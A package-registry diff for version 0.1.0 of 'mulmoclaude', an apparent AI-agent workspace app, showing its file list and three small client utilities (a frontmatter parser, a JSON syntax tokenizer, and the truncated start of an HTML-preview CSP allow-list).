mulmoclaude 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +44 -0
- package/bin/mulmoclaude.js +202 -0
- package/bin/prepare-dist.js +93 -0
- package/client/assets/chunk-vKJrgz-R-C_I3GbVV.js +1 -0
- package/client/assets/html2canvas-Cx501zZr-BF5dYYkY.js +5 -0
- package/client/assets/index-D8rhwXLq.js +4906 -0
- package/client/assets/index-KNLBjwuh.css +1 -0
- package/client/assets/index.es-D4YyL_Dg-BfRHLTZV.js +5 -0
- package/client/assets/material-icons-Dr0goTwe.woff +0 -0
- package/client/assets/material-icons-kAwBdRge.woff2 +0 -0
- package/client/assets/material-icons-outlined-BpWbwl2n.woff +0 -0
- package/client/assets/material-icons-outlined-DZhiGvEA.woff2 +0 -0
- package/client/assets/material-icons-round-BDlwx-sv.woff +0 -0
- package/client/assets/material-icons-round-DrirKXBx.woff2 +0 -0
- package/client/assets/material-icons-sharp-CH1KkVu7.woff +0 -0
- package/client/assets/material-icons-sharp-gidztirS.woff2 +0 -0
- package/client/assets/material-icons-two-tone-B7wz7mED.woff +0 -0
- package/client/assets/material-icons-two-tone-DuNIpaEj.woff2 +0 -0
- package/client/assets/mulmo_bw-ERmkSv0a.png +0 -0
- package/client/assets/purify.es-Fx1Nqyry-PeS5RUhs.js +2 -0
- package/client/assets/typeof-DBp4T-Ny-BC0P-2DM.js +1 -0
- package/client/index.html +28 -0
- package/package.json +66 -0
- package/server/agent/attachmentConverter.ts +270 -0
- package/server/agent/config.ts +414 -0
- package/server/agent/index.ts +260 -0
- package/server/agent/mcp-server.ts +412 -0
- package/server/agent/mcp-tools/index.ts +63 -0
- package/server/agent/mcp-tools/x.ts +188 -0
- package/server/agent/plugin-names.ts +75 -0
- package/server/agent/prompt.ts +349 -0
- package/server/agent/resumeFailover.ts +129 -0
- package/server/agent/sandboxMounts.ts +329 -0
- package/server/agent/stream.ts +194 -0
- package/server/api/auth/bearerAuth.ts +61 -0
- package/server/api/auth/token.ts +98 -0
- package/server/api/csrfGuard.ts +85 -0
- package/server/api/routes/agent.ts +478 -0
- package/server/api/routes/chart.ts +98 -0
- package/server/api/routes/chat-index.ts +46 -0
- package/server/api/routes/config.ts +258 -0
- package/server/api/routes/dispatchResponse.ts +79 -0
- package/server/api/routes/files.ts +812 -0
- package/server/api/routes/html.ts +101 -0
- package/server/api/routes/image.ts +169 -0
- package/server/api/routes/mulmo-script.ts +712 -0
- package/server/api/routes/mulmoScriptValidate.ts +101 -0
- package/server/api/routes/notifications.ts +69 -0
- package/server/api/routes/pdf.ts +163 -0
- package/server/api/routes/plugins.ts +276 -0
- package/server/api/routes/presentHtml.ts +48 -0
- package/server/api/routes/roles.ts +125 -0
- package/server/api/routes/scheduler.ts +153 -0
- package/server/api/routes/schedulerHandlers.ts +151 -0
- package/server/api/routes/schedulerTasks.ts +163 -0
- package/server/api/routes/sessions.ts +294 -0
- package/server/api/routes/sessionsCursor.ts +59 -0
- package/server/api/routes/skills.ts +195 -0
- package/server/api/routes/sources.ts +540 -0
- package/server/api/routes/todos.ts +263 -0
- package/server/api/routes/todosColumnsHandlers.ts +347 -0
- package/server/api/routes/todosHandlers.ts +274 -0
- package/server/api/routes/todosItemsHandlers.ts +386 -0
- package/server/api/routes/wiki/pageIndex.ts +53 -0
- package/server/api/routes/wiki.ts +363 -0
- package/server/api/sandboxStatus.ts +64 -0
- package/server/events/notifications.ts +160 -0
- package/server/events/pub-sub/index.ts +45 -0
- package/server/events/relay-client.ts +288 -0
- package/server/events/scheduler-adapter.ts +302 -0
- package/server/events/session-store/index.ts +492 -0
- package/server/events/task-manager/index.ts +181 -0
- package/server/index.ts +572 -0
- package/server/system/config.ts +243 -0
- package/server/system/credentials.ts +220 -0
- package/server/system/docker.ts +97 -0
- package/server/system/env.ts +109 -0
- package/server/system/logger/config.ts +112 -0
- package/server/system/logger/formatters.ts +40 -0
- package/server/system/logger/index.ts +53 -0
- package/server/system/logger/rotation.ts +37 -0
- package/server/system/logger/sinks.ts +101 -0
- package/server/system/logger/types.ts +29 -0
- package/server/utils/date.ts +57 -0
- package/server/utils/errors.ts +7 -0
- package/server/utils/fetch.ts +27 -0
- package/server/utils/files/atomic.ts +125 -0
- package/server/utils/files/html-io.ts +20 -0
- package/server/utils/files/image-store.ts +66 -0
- package/server/utils/files/index.ts +45 -0
- package/server/utils/files/journal-io.ts +213 -0
- package/server/utils/files/json.ts +69 -0
- package/server/utils/files/markdown-store.ts +33 -0
- package/server/utils/files/naming.ts +50 -0
- package/server/utils/files/reference-dirs-io.ts +45 -0
- package/server/utils/files/roles-io.ts +45 -0
- package/server/utils/files/safe.ts +106 -0
- package/server/utils/files/scheduler-io.ts +20 -0
- package/server/utils/files/scheduler-overrides-io.ts +64 -0
- package/server/utils/files/session-io.ts +136 -0
- package/server/utils/files/spreadsheet-store.ts +63 -0
- package/server/utils/files/todos-io.ts +29 -0
- package/server/utils/files/user-tasks-io.ts +25 -0
- package/server/utils/files/workspace-io.ts +221 -0
- package/server/utils/gemini.ts +59 -0
- package/server/utils/gitignore.ts +69 -0
- package/server/utils/http.ts +15 -0
- package/server/utils/httpError.ts +61 -0
- package/server/utils/id.ts +16 -0
- package/server/utils/json.ts +83 -0
- package/server/utils/logBackgroundError.ts +22 -0
- package/server/utils/markdown.ts +82 -0
- package/server/utils/request.ts +29 -0
- package/server/utils/slug.ts +50 -0
- package/server/utils/spawn.ts +62 -0
- package/server/utils/time.ts +34 -0
- package/server/utils/types.ts +47 -0
- package/server/workspace/chat-index/index.ts +153 -0
- package/server/workspace/chat-index/indexer.ts +209 -0
- package/server/workspace/chat-index/paths.ts +34 -0
- package/server/workspace/chat-index/summarizer.ts +247 -0
- package/server/workspace/chat-index/types.ts +38 -0
- package/server/workspace/custom-dirs.ts +220 -0
- package/server/workspace/helps/business.md +104 -0
- package/server/workspace/helps/github.md +23 -0
- package/server/workspace/helps/index.md +60 -0
- package/server/workspace/helps/mulmoscript.md +249 -0
- package/server/workspace/helps/sandbox.md +90 -0
- package/server/workspace/helps/spreadsheet.md +43 -0
- package/server/workspace/helps/telegram.md +135 -0
- package/server/workspace/helps/wiki.md +131 -0
- package/server/workspace/journal/archivist.ts +386 -0
- package/server/workspace/journal/dailyPass.ts +743 -0
- package/server/workspace/journal/diff.ts +71 -0
- package/server/workspace/journal/index.ts +185 -0
- package/server/workspace/journal/indexFile.ts +136 -0
- package/server/workspace/journal/linkRewrite.ts +4 -0
- package/server/workspace/journal/memoryExtractor.ts +130 -0
- package/server/workspace/journal/optimizationPass.ts +160 -0
- package/server/workspace/journal/paths.ts +76 -0
- package/server/workspace/journal/state.ts +125 -0
- package/server/workspace/paths.ts +158 -0
- package/server/workspace/reference-dirs.ts +252 -0
- package/server/workspace/roles.ts +37 -0
- package/server/workspace/skills/discovery.ts +125 -0
- package/server/workspace/skills/index.ts +10 -0
- package/server/workspace/skills/parser.ts +144 -0
- package/server/workspace/skills/paths.ts +41 -0
- package/server/workspace/skills/scheduler.ts +149 -0
- package/server/workspace/skills/types.ts +30 -0
- package/server/workspace/skills/user-tasks.ts +257 -0
- package/server/workspace/skills/writer.ts +189 -0
- package/server/workspace/sources/arxivDiscovery.ts +182 -0
- package/server/workspace/sources/classifier.ts +268 -0
- package/server/workspace/sources/fetchers/arxiv.ts +170 -0
- package/server/workspace/sources/fetchers/github.ts +106 -0
- package/server/workspace/sources/fetchers/githubIssues.ts +208 -0
- package/server/workspace/sources/fetchers/githubReleases.ts +186 -0
- package/server/workspace/sources/fetchers/index.ts +71 -0
- package/server/workspace/sources/fetchers/registerAll.ts +15 -0
- package/server/workspace/sources/fetchers/rss.ts +141 -0
- package/server/workspace/sources/fetchers/rssParser.ts +295 -0
- package/server/workspace/sources/httpFetcher.ts +230 -0
- package/server/workspace/sources/interests.ts +120 -0
- package/server/workspace/sources/paths.ts +110 -0
- package/server/workspace/sources/pipeline/dedup.ts +60 -0
- package/server/workspace/sources/pipeline/fetch.ts +136 -0
- package/server/workspace/sources/pipeline/index.ts +249 -0
- package/server/workspace/sources/pipeline/notify.ts +72 -0
- package/server/workspace/sources/pipeline/plan.ts +66 -0
- package/server/workspace/sources/pipeline/summarize.ts +189 -0
- package/server/workspace/sources/pipeline/write.ts +185 -0
- package/server/workspace/sources/rateLimiter.ts +148 -0
- package/server/workspace/sources/registry.ts +326 -0
- package/server/workspace/sources/robots.ts +271 -0
- package/server/workspace/sources/sourceState.ts +135 -0
- package/server/workspace/sources/taxonomy.ts +74 -0
- package/server/workspace/sources/types.ts +144 -0
- package/server/workspace/sources/urls.ts +112 -0
- package/server/workspace/tool-trace/classify.ts +114 -0
- package/server/workspace/tool-trace/index.ts +250 -0
- package/server/workspace/tool-trace/writeSearch.ts +98 -0
- package/server/workspace/wiki-backlinks/index.ts +107 -0
- package/server/workspace/wiki-backlinks/sessionBacklinks.ts +144 -0
- package/server/workspace/workspace.ts +66 -0
- package/src/App.vue +720 -0
- package/src/assets/mulmo_bw.png +0 -0
- package/src/components/CanvasViewToggle.vue +27 -0
- package/src/components/ChatAttachmentPreview.vue +45 -0
- package/src/components/ChatImagePreview.vue +17 -0
- package/src/components/ChatInput.vue +208 -0
- package/src/components/FileContentHeader.vue +49 -0
- package/src/components/FileContentRenderer.vue +162 -0
- package/src/components/FileTree.vue +115 -0
- package/src/components/FileTreePane.vue +85 -0
- package/src/components/FilesView.vue +206 -0
- package/src/components/LockStatusPopup.vue +111 -0
- package/src/components/NotificationBell.vue +131 -0
- package/src/components/NotificationToast.vue +72 -0
- package/src/components/PluginLauncher.vue +138 -0
- package/src/components/RightSidebar.vue +113 -0
- package/src/components/RoleSelector.vue +64 -0
- package/src/components/SessionHistoryPanel.vue +176 -0
- package/src/components/SessionTabBar.vue +81 -0
- package/src/components/SettingsMcpTab.vue +350 -0
- package/src/components/SettingsModal.vue +275 -0
- package/src/components/SettingsReferenceDirsTab.vue +173 -0
- package/src/components/SettingsWorkspaceDirsTab.vue +174 -0
- package/src/components/SidebarHeader.vue +69 -0
- package/src/components/StackView.vue +360 -0
- package/src/components/SuggestionsPanel.vue +65 -0
- package/src/components/TodoExplorer.vue +358 -0
- package/src/components/ToolResultsPanel.vue +77 -0
- package/src/components/todo/TodoAddDialog.vue +131 -0
- package/src/components/todo/TodoEditDialog.vue +47 -0
- package/src/components/todo/TodoEditPanel.vue +113 -0
- package/src/components/todo/TodoKanbanView.vue +249 -0
- package/src/components/todo/TodoListView.vue +79 -0
- package/src/components/todo/TodoTableView.vue +177 -0
- package/src/composables/useActiveSession.ts +40 -0
- package/src/composables/useAppApi.ts +45 -0
- package/src/composables/useCanvasViewMode.ts +121 -0
- package/src/composables/useChatScroll.ts +47 -0
- package/src/composables/useClickOutside.ts +26 -0
- package/src/composables/useClipboardCopy.ts +44 -0
- package/src/composables/useContentDisplay.ts +52 -0
- package/src/composables/useDebugBeat.ts +23 -0
- package/src/composables/useDynamicFavicon.ts +115 -0
- package/src/composables/useEventListeners.ts +42 -0
- package/src/composables/useExpandedDirs.ts +64 -0
- package/src/composables/useFaviconState.ts +30 -0
- package/src/composables/useFileSelection.ts +115 -0
- package/src/composables/useFileSortMode.ts +24 -0
- package/src/composables/useFileTree.ts +85 -0
- package/src/composables/useFreshPluginData.ts +89 -0
- package/src/composables/useHealth.ts +38 -0
- package/src/composables/useImeAwareEnter.ts +57 -0
- package/src/composables/useKeyNavigation.ts +60 -0
- package/src/composables/useMarkdownLinkHandler.ts +46 -0
- package/src/composables/useMarkdownMode.ts +17 -0
- package/src/composables/useMcpTools.ts +71 -0
- package/src/composables/useMergedSessions.ts +27 -0
- package/src/composables/useNotifications.ts +90 -0
- package/src/composables/usePdfDownload.ts +60 -0
- package/src/composables/usePendingCalls.ts +77 -0
- package/src/composables/usePubSub.ts +85 -0
- package/src/composables/useRightSidebar.ts +23 -0
- package/src/composables/useRoles.ts +34 -0
- package/src/composables/useSandboxStatus.ts +67 -0
- package/src/composables/useSelectedResult.ts +49 -0
- package/src/composables/useSessionDerived.ts +51 -0
- package/src/composables/useSessionHistory.ts +81 -0
- package/src/composables/useSessionSync.ts +57 -0
- package/src/composables/useViewLayout.ts +55 -0
- package/src/config/apiRoutes.ts +173 -0
- package/src/config/pubsubChannels.ts +45 -0
- package/src/config/roles.ts +335 -0
- package/src/config/schedulerActions.ts +25 -0
- package/src/config/toolNames.ts +71 -0
- package/src/config/workspacePaths.ts +24 -0
- package/src/index.css +107 -0
- package/src/main.ts +25 -0
- package/src/plugins/canvas/Preview.vue +13 -0
- package/src/plugins/canvas/View.vue +333 -0
- package/src/plugins/canvas/definition.ts +38 -0
- package/src/plugins/canvas/index.ts +36 -0
- package/src/plugins/chart/Preview.vue +49 -0
- package/src/plugins/chart/View.vue +143 -0
- package/src/plugins/chart/definition.ts +58 -0
- package/src/plugins/chart/index.ts +52 -0
- package/src/plugins/editImage/Preview.vue +13 -0
- package/src/plugins/editImage/View.vue +13 -0
- package/src/plugins/editImage/definition.ts +27 -0
- package/src/plugins/editImage/index.ts +36 -0
- package/src/plugins/generateImage/Preview.vue +13 -0
- package/src/plugins/generateImage/View.vue +33 -0
- package/src/plugins/generateImage/definition.ts +32 -0
- package/src/plugins/generateImage/index.ts +56 -0
- package/src/plugins/manageRoles/Preview.vue +49 -0
- package/src/plugins/manageRoles/View.vue +525 -0
- package/src/plugins/manageRoles/definition.ts +43 -0
- package/src/plugins/manageRoles/index.ts +47 -0
- package/src/plugins/manageSkills/Preview.vue +21 -0
- package/src/plugins/manageSkills/View.vue +321 -0
- package/src/plugins/manageSkills/definition.ts +49 -0
- package/src/plugins/manageSkills/index.ts +49 -0
- package/src/plugins/manageSource/Preview.vue +33 -0
- package/src/plugins/manageSource/View.vue +697 -0
- package/src/plugins/manageSource/definition.ts +63 -0
- package/src/plugins/manageSource/index.ts +66 -0
- package/src/plugins/markdown/Preview.vue +77 -0
- package/src/plugins/markdown/View.vue +476 -0
- package/src/plugins/markdown/definition.ts +50 -0
- package/src/plugins/markdown/index.ts +36 -0
- package/src/plugins/presentHtml/Preview.vue +25 -0
- package/src/plugins/presentHtml/View.vue +52 -0
- package/src/plugins/presentHtml/definition.ts +27 -0
- package/src/plugins/presentHtml/helpers.ts +72 -0
- package/src/plugins/presentHtml/index.ts +41 -0
- package/src/plugins/presentMulmoScript/Preview.vue +23 -0
- package/src/plugins/presentMulmoScript/View.vue +1166 -0
- package/src/plugins/presentMulmoScript/definition.ts +95 -0
- package/src/plugins/presentMulmoScript/helpers.ts +162 -0
- package/src/plugins/presentMulmoScript/index.ts +40 -0
- package/src/plugins/scheduler/Preview.vue +67 -0
- package/src/plugins/scheduler/TasksTab.vue +205 -0
- package/src/plugins/scheduler/View.vue +565 -0
- package/src/plugins/scheduler/definition.ts +57 -0
- package/src/plugins/scheduler/index.ts +45 -0
- package/src/plugins/scheduler/viewModes.ts +26 -0
- package/src/plugins/spreadsheet/Preview.vue +29 -0
- package/src/plugins/spreadsheet/View.vue +997 -0
- package/src/plugins/spreadsheet/cellHighlights.ts +79 -0
- package/src/plugins/spreadsheet/definition.ts +121 -0
- package/src/plugins/spreadsheet/engine/calculator.ts +459 -0
- package/src/plugins/spreadsheet/engine/cellBuilder.ts +81 -0
- package/src/plugins/spreadsheet/engine/date-parser.ts +220 -0
- package/src/plugins/spreadsheet/engine/date-utils.ts +56 -0
- package/src/plugins/spreadsheet/engine/engine.ts +176 -0
- package/src/plugins/spreadsheet/engine/evaluator.ts +390 -0
- package/src/plugins/spreadsheet/engine/formatter.ts +172 -0
- package/src/plugins/spreadsheet/engine/formulaRefs.ts +101 -0
- package/src/plugins/spreadsheet/engine/functions/date.ts +299 -0
- package/src/plugins/spreadsheet/engine/functions/financial.ts +387 -0
- package/src/plugins/spreadsheet/engine/functions/index.ts +16 -0
- package/src/plugins/spreadsheet/engine/functions/logical.ts +262 -0
- package/src/plugins/spreadsheet/engine/functions/lookup.ts +400 -0
- package/src/plugins/spreadsheet/engine/functions/mathematical.ts +297 -0
- package/src/plugins/spreadsheet/engine/functions/statistical.ts +338 -0
- package/src/plugins/spreadsheet/engine/functions/text.ts +389 -0
- package/src/plugins/spreadsheet/engine/index.ts +27 -0
- package/src/plugins/spreadsheet/engine/jsonCellLocator.ts +111 -0
- package/src/plugins/spreadsheet/engine/parser.ts +143 -0
- package/src/plugins/spreadsheet/engine/registry.ts +150 -0
- package/src/plugins/spreadsheet/engine/responseDecoder.ts +67 -0
- package/src/plugins/spreadsheet/engine/types.ts +64 -0
- package/src/plugins/spreadsheet/index.ts +36 -0
- package/src/plugins/textResponse/Preview.vue +94 -0
- package/src/plugins/textResponse/View.vue +503 -0
- package/src/plugins/textResponse/definition.ts +34 -0
- package/src/plugins/textResponse/index.ts +27 -0
- package/src/plugins/textResponse/plugin.ts +29 -0
- package/src/plugins/textResponse/samples.ts +97 -0
- package/src/plugins/textResponse/types.ts +11 -0
- package/src/plugins/todo/Preview.vue +63 -0
- package/src/plugins/todo/View.vue +364 -0
- package/src/plugins/todo/composables/useTodos.ts +177 -0
- package/src/plugins/todo/definition.ts +45 -0
- package/src/plugins/todo/index.ts +61 -0
- package/src/plugins/todo/labels.ts +163 -0
- package/src/plugins/todo/priority.ts +98 -0
- package/src/plugins/todo/viewModes.ts +19 -0
- package/src/plugins/ui-image/ImagePreview.vue +23 -0
- package/src/plugins/ui-image/ImageView.vue +34 -0
- package/src/plugins/ui-image/index.ts +3 -0
- package/src/plugins/ui-image/types.ts +4 -0
- package/src/plugins/wiki/Preview.vue +65 -0
- package/src/plugins/wiki/View.vue +342 -0
- package/src/plugins/wiki/definition.ts +25 -0
- package/src/plugins/wiki/helpers.ts +59 -0
- package/src/plugins/wiki/index.ts +52 -0
- package/src/router/guards.ts +61 -0
- package/src/router/index.ts +50 -0
- package/src/tools/index.ts +52 -0
- package/src/tools/types.ts +27 -0
- package/src/types/events.ts +16 -0
- package/src/types/fileTree.ts +13 -0
- package/src/types/notification.ts +67 -0
- package/src/types/session.ts +116 -0
- package/src/types/sse.ts +90 -0
- package/src/types/toolCallHistory.ts +13 -0
- package/src/utils/agent/eventDispatch.ts +74 -0
- package/src/utils/agent/request.ts +55 -0
- package/src/utils/agent/toolCalls.ts +62 -0
- package/src/utils/api.ts +218 -0
- package/src/utils/canvas/viewMode.ts +46 -0
- package/src/utils/dom/authTokenMeta.ts +20 -0
- package/src/utils/dom/clickOutside.ts +11 -0
- package/src/utils/dom/externalLink.ts +57 -0
- package/src/utils/dom/scrollable.ts +24 -0
- package/src/utils/errors.ts +11 -0
- package/src/utils/files/expandedDirs.ts +25 -0
- package/src/utils/files/filename.ts +12 -0
- package/src/utils/files/sortChildren.ts +20 -0
- package/src/utils/filesPreview/schedulerPreview.ts +38 -0
- package/src/utils/filesPreview/todoPreview.ts +40 -0
- package/src/utils/format/date.ts +85 -0
- package/src/utils/format/frontmatter.ts +80 -0
- package/src/utils/format/jsonSyntax.ts +109 -0
- package/src/utils/html/previewCsp.ts +65 -0
- package/src/utils/image/resolve.ts +8 -0
- package/src/utils/image/rewriteMarkdownImageRefs.ts +182 -0
- package/src/utils/markdown/extractFirstH1.ts +39 -0
- package/src/utils/notification/dispatch.ts +22 -0
- package/src/utils/path/relativeLink.ts +130 -0
- package/src/utils/role/icon.ts +20 -0
- package/src/utils/role/merge.ts +10 -0
- package/src/utils/role/plugins.ts +12 -0
- package/src/utils/session/mergeSessions.ts +103 -0
- package/src/utils/session/seedRoleDefault.ts +35 -0
- package/src/utils/session/sessionEntries.ts +121 -0
- package/src/utils/session/sessionFactory.ts +22 -0
- package/src/utils/session/sessionHelpers.ts +99 -0
- package/src/utils/tools/dedup.ts +17 -0
- package/src/utils/tools/mcp.ts +33 -0
- package/src/utils/tools/pendingCalls.ts +16 -0
- package/src/utils/tools/result.ts +40 -0
- package/src/utils/types.ts +44 -0
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
// Minimal YAML-frontmatter extractor for Markdown files. Only covers
|
|
2
|
+
// the shapes we actually display in the Files-mode preview:
|
|
3
|
+
//
|
|
4
|
+
// ---
|
|
5
|
+
// title: さくらインターネット
|
|
6
|
+
// created: 2026-04-06
|
|
7
|
+
// tags: [クラウド, インフラ, 日本企業]
|
|
8
|
+
// ---
|
|
9
|
+
//
|
|
10
|
+
// Values are returned either as a string or, for inline arrays
|
|
11
|
+
// (`[a, b, c]`), as a string[]. Anything more exotic (block lists,
|
|
12
|
+
// nested maps, multi-line strings) is treated as an opaque string so
|
|
13
|
+
// the user still sees the raw value.
|
|
14
|
+
|
|
15
|
+
export type FrontmatterValue = string | string[];
|
|
16
|
+
|
|
17
|
+
export interface FrontmatterField {
|
|
18
|
+
key: string;
|
|
19
|
+
value: FrontmatterValue;
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
export interface Frontmatter {
|
|
23
|
+
fields: FrontmatterField[];
|
|
24
|
+
body: string;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
const FRONTMATTER_DELIM = /^---\r?\n/;
|
|
28
|
+
const FRONTMATTER_CLOSE = /\r?\n---\s*(\r?\n|$)/;
|
|
29
|
+
|
|
30
|
+
export function extractFrontmatter(raw: string): Frontmatter {
|
|
31
|
+
if (!FRONTMATTER_DELIM.test(raw)) {
|
|
32
|
+
return { fields: [], body: raw };
|
|
33
|
+
}
|
|
34
|
+
const afterOpen = raw.replace(FRONTMATTER_DELIM, "");
|
|
35
|
+
const closeMatch = FRONTMATTER_CLOSE.exec(afterOpen);
|
|
36
|
+
if (!closeMatch || closeMatch.index === undefined) {
|
|
37
|
+
return { fields: [], body: raw };
|
|
38
|
+
}
|
|
39
|
+
const fmText = afterOpen.slice(0, closeMatch.index);
|
|
40
|
+
const body = afterOpen.slice(closeMatch.index + closeMatch[0].length);
|
|
41
|
+
return { fields: parseFields(fmText), body };
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
function parseFields(fmText: string): FrontmatterField[] {
|
|
45
|
+
const fields: FrontmatterField[] = [];
|
|
46
|
+
for (const line of fmText.split(/\r?\n/)) {
|
|
47
|
+
const field = parseLine(line);
|
|
48
|
+
if (field) fields.push(field);
|
|
49
|
+
}
|
|
50
|
+
return fields;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
function parseLine(line: string): FrontmatterField | null {
|
|
54
|
+
if (!line.trim() || line.trimStart().startsWith("#")) return null;
|
|
55
|
+
const colonIdx = line.indexOf(":");
|
|
56
|
+
if (colonIdx <= 0) return null;
|
|
57
|
+
const key = line.slice(0, colonIdx).trim();
|
|
58
|
+
const rawValue = line.slice(colonIdx + 1).trim();
|
|
59
|
+
if (!key) return null;
|
|
60
|
+
return { key, value: parseValue(rawValue) };
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
function parseValue(raw: string): FrontmatterValue {
|
|
64
|
+
if (!raw) return "";
|
|
65
|
+
const arrayMatch = /^\[(.*)\]$/.exec(raw);
|
|
66
|
+
if (arrayMatch) {
|
|
67
|
+
return arrayMatch[1]
|
|
68
|
+
.split(",")
|
|
69
|
+
.map((s) => unquote(s.trim()))
|
|
70
|
+
.filter((s) => s.length > 0);
|
|
71
|
+
}
|
|
72
|
+
return unquote(raw);
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
function unquote(s: string): string {
|
|
76
|
+
if ((s.startsWith('"') && s.endsWith('"')) || (s.startsWith("'") && s.endsWith("'"))) {
|
|
77
|
+
return s.slice(1, -1);
|
|
78
|
+
}
|
|
79
|
+
return s;
|
|
80
|
+
}
|
|
@@ -0,0 +1,109 @@
|
|
|
1
|
+
// Tiny regex-based JSON tokenizer used by the Files-mode preview for
|
|
2
|
+
// syntax coloring. Keeps itself dependency-free so it can be reused
|
|
3
|
+
// and unit-tested without pulling in Vue or Tailwind.
|
|
4
|
+
|
|
5
|
+
export type JsonTokenType = "key" | "string" | "number" | "keyword" | "punct" | "whitespace";
|
|
6
|
+
|
|
7
|
+
export interface JsonToken {
|
|
8
|
+
type: JsonTokenType;
|
|
9
|
+
value: string;
|
|
10
|
+
}
|
|
11
|
+
|
|
12
|
+
// Tailwind class for each token type. Kept alongside the tokenizer so
|
|
13
|
+
// callers that want colored output can just import and use it directly.
|
|
14
|
+
export const JSON_TOKEN_CLASS: Record<JsonTokenType, string> = {
|
|
15
|
+
key: "text-blue-700",
|
|
16
|
+
string: "text-green-700",
|
|
17
|
+
number: "text-orange-600",
|
|
18
|
+
keyword: "text-purple-700",
|
|
19
|
+
punct: "text-gray-500",
|
|
20
|
+
whitespace: "",
|
|
21
|
+
};
|
|
22
|
+
|
|
23
|
+
// Individually simple patterns combined by `nextToken` below. Keeping
|
|
24
|
+
// them separate avoids a single combined regex that trips
|
|
25
|
+
// sonarjs/regex-complexity and is easier to reason about.
|
|
26
|
+
const STRING_RE = /^"(?:[^"\\]|\\.)*"/;
|
|
27
|
+
const KEYWORD_RE = /^(?:true|false|null)\b/;
|
|
28
|
+
const NUMBER_RE = /^-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?/;
|
|
29
|
+
const WS_RE = /^\s+/;
|
|
30
|
+
const PUNCT_RE = /^[{}[\]:,]/;
|
|
31
|
+
|
|
32
|
+
const MATCHERS: { type: JsonTokenType; pattern: RegExp }[] = [
|
|
33
|
+
{ type: "string", pattern: STRING_RE },
|
|
34
|
+
{ type: "keyword", pattern: KEYWORD_RE },
|
|
35
|
+
{ type: "number", pattern: NUMBER_RE },
|
|
36
|
+
{ type: "whitespace", pattern: WS_RE },
|
|
37
|
+
{ type: "punct", pattern: PUNCT_RE },
|
|
38
|
+
];
|
|
39
|
+
|
|
40
|
+
function nextToken(slice: string): JsonToken | null {
|
|
41
|
+
for (const { type, pattern } of MATCHERS) {
|
|
42
|
+
const match = pattern.exec(slice);
|
|
43
|
+
if (match) return { type, value: match[0] };
|
|
44
|
+
}
|
|
45
|
+
return null;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
export function tokenizeJson(raw: string): JsonToken[] {
|
|
49
|
+
const tokens: JsonToken[] = [];
|
|
50
|
+
let pos = 0;
|
|
51
|
+
while (pos < raw.length) {
|
|
52
|
+
const token = nextToken(raw.slice(pos));
|
|
53
|
+
if (!token) {
|
|
54
|
+
// Unknown char (syntax error / stray bytes). Emit verbatim so
|
|
55
|
+
// the user still sees it, then advance one character.
|
|
56
|
+
tokens.push({ type: "punct", value: raw[pos] });
|
|
57
|
+
pos++;
|
|
58
|
+
continue;
|
|
59
|
+
}
|
|
60
|
+
tokens.push(token);
|
|
61
|
+
pos += token.value.length;
|
|
62
|
+
}
|
|
63
|
+
markKeys(tokens);
|
|
64
|
+
return tokens;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
// A string that precedes ":" (skipping whitespace) is an object key.
|
|
68
|
+
function markKeys(tokens: JsonToken[]): void {
|
|
69
|
+
for (let i = 0; i < tokens.length; i++) {
|
|
70
|
+
if (tokens[i].type !== "string") continue;
|
|
71
|
+
let j = i + 1;
|
|
72
|
+
while (j < tokens.length && tokens[j].type === "whitespace") j++;
|
|
73
|
+
if (j < tokens.length && tokens[j].type === "punct" && tokens[j].value === ":") {
|
|
74
|
+
tokens[i] = { type: "key", value: tokens[i].value };
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
// Pretty-print JSON with 2-space indentation, falling back to the raw
|
|
80
|
+
// source on parse error so the user can still read malformed files.
|
|
81
|
+
export function prettyJson(raw: string): string {
|
|
82
|
+
try {
|
|
83
|
+
return JSON.stringify(JSON.parse(raw), null, 2);
|
|
84
|
+
} catch {
|
|
85
|
+
return raw;
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
export interface JsonlLine {
|
|
90
|
+
tokens: JsonToken[];
|
|
91
|
+
parseError: boolean;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
// Tokenize a JSON Lines document: one JSON value per non-empty line.
|
|
95
|
+
// Each parseable line is pretty-printed before tokenization so the
|
|
96
|
+
// output shows a readable multi-line record per entry. Malformed
|
|
97
|
+
// lines are tokenized as-is with `parseError: true` so the caller
|
|
98
|
+
// can mark them visually.
|
|
99
|
+
export function tokenizeJsonl(raw: string): JsonlLine[] {
|
|
100
|
+
const lines = raw.split(/\r?\n/).filter((line) => line.trim().length > 0);
|
|
101
|
+
return lines.map((line) => {
|
|
102
|
+
try {
|
|
103
|
+
const pretty = JSON.stringify(JSON.parse(line), null, 2);
|
|
104
|
+
return { tokens: tokenizeJson(pretty), parseError: false };
|
|
105
|
+
} catch {
|
|
106
|
+
return { tokens: tokenizeJson(line), parseError: true };
|
|
107
|
+
}
|
|
108
|
+
});
|
|
109
|
+
}
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
// CSP whitelist applied to HTML files previewed in the Files
|
|
2
|
+
// explorer iframe. We ship a narrow list of trusted CDNs that the
|
|
3
|
+
// LLM commonly pulls from (Chart.js, D3, Tailwind, etc. via
|
|
4
|
+
// jsdelivr / unpkg / cdnjs) plus Google Fonts. Anything else —
|
|
5
|
+
// random `https://` origins, phone-home `fetch()` calls, etc. —
|
|
6
|
+
// is rejected.
|
|
7
|
+
//
|
|
8
|
+
// Widen by editing `HTML_PREVIEW_CSP_ALLOWED_CDNS` below. Keep the
|
|
9
|
+
// list audited — every entry is a potential supply-chain surface.
|
|
10
|
+
|
|
11
|
+
export const HTML_PREVIEW_CSP_ALLOWED_CDNS: readonly string[] = [
|
|
12
|
+
"https://cdn.jsdelivr.net",
|
|
13
|
+
"https://unpkg.com",
|
|
14
|
+
